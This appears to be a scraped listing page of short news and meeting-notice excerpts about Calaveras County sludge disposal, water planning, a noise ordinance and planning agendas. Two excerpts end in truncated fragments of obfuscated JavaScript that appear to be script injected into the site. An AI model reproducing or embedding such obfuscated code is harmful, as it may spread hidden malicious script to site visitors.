County wades into sludge concerns

Supervisors offer deal to Murphys Sanitary Calaveras County supervisors threw a lifeline to the Murphys Sanitary District this week, offering to waive a proposed $32-per-ton disposal fee on sludge stockpiled at district treatment ponds. The county’s offer to take on biosolids currently housed at the district site counts as windfall for sewer district directors facing more than $225,000 in environmental fines and offsite sludge removal costs. The... Read More

Planning Commission: Sept. 27, 2012

Attached is the agenda for tomorrow’s Planning Commission meeting. Note Moke Hill, Special Events, and PC procedures on the agenda. PLANNING COMMISSION MEETING September 27, 2012 AGENDA PUBLIC HEARINGS: 1. 2012-016 A RESOLUTION RECCOMENDING APPROVAL OF THE MOKELUMNE HILL DESIGN GUIDELINES: 2. 2012-029 ZONING AMENDMENT FOR JEFF VANCE & PAULA FINDLEN: 3. 2012-031 ZONING AMENDMENT FOR LARRY & SHANNON GROSSI: 4. 2007-072 TSTM AND ROAD... Read More

CALAVERAS COUNTY BOARD OF SUPERVISORS

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Upper Mokelumne River Watershed Authority hosts Community Workshop

Mokelumne-Amador-Calaveras (MAC) Regional Water Management Plan Update Interested in efforts underway in planning how local water resources are managed? Residents and individuals interested in water resource planning issues in Amador, Calaveras and western Alpine Counties are invited to attend an upcoming Community Workshop to learn about a regional effort to update the MAC Integrated Regional Water Management Plan (MAC Plan), originally adopted in... Read More

What to Look for in your Integrated Regional Water Management Plan

After nearly a year of work by stakeholders on the Regional Participants Committee (RPC), the public will get to comment on the updated Mokelumne /Amador /Calaveras Integrated Regional Water Management Plan (MAC IRWMP) at a workshop from 6 – 7 p.m. on September 24 at the Amador County Government Center in Jackson. The Upper Mokelumne River Watershed Authority (UMRWA) will soon make the plan available for review on their website: www.umrwa.org.... Read More

Water pact on agenda

CCWD looks at Stanislaus River co-op Calaveras County Water District directors expect to renew their ability to tap the Stanislaus River this week, re-upping a resource planning arrangement that has helped the district land state grant funds. Directors at Wednesday’s board meeting will look to maintain the district’s longstanding relationship with the Tuolumne-Stanislaus Integrated Regional Water Management Plan, a working group of more than a... Read More

Noise law closer to approval

Typically loud debate on Calaveras County noise levels reached a quiet coda this week as supervisors moved to adopt an as-amended noise ordinance set for final approval Sept. 11. The board moved unanimously in support of a revised measure set to clamp down on daytime noise levels above 60 decibels in residential areas and above 50 between 10 p.m. and 7 a.m. Those caps are set to bend upward on the weekends, allowing for a 5 decibel bump at all hours... Read More

CSERC WINS SETTLEMENT AGREEMENT

CSERC WINS SETTLEMENT AGREEMENT FOR THE CONTROVERSIAL COOPERSTOWN OPEN PIT MINE: This e-mail received today September 3, 2012, from CSERC: Today Tuolumne County approved a long-awaited settlement agreement of a lawsuit filed by CSERC last year. The positive final agreement means there will be no nighttime blasting, rock processing, or rail car loading — noise that would have rippled at night for miles across the foothill landscape. Thanks to... Read More

Sawmill Lake Project at Planning Commission Meeting on September 13, 2012

The Sawmill Lake Project will be on the Agenda for the Planning Commission Meeting  on September 13, 2012.  All interested parties are encouraged to attend…some early information is posted at the links below but keep an eye on this site and the County’s Planning Commission page for the full agenda to be posted. [Meeting Details…] 2006-110 Sawmill Lake Project     function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return... Read More

Calaveras Board of Supervisors

The Board of Supervisors will be considering the much discussed proposed “Noise Ordinance” at their meeting on Tuesday, August 28th. All interested parties should plan to attend. You can view, download and save the proposed document below or visit the County Planning Department’s website for more information. Amendment to Title 9 Public Peace, Morals and Welfare of the Calaveras Code For the inclusion of Chapter 9.02 Noise Control   function... Read More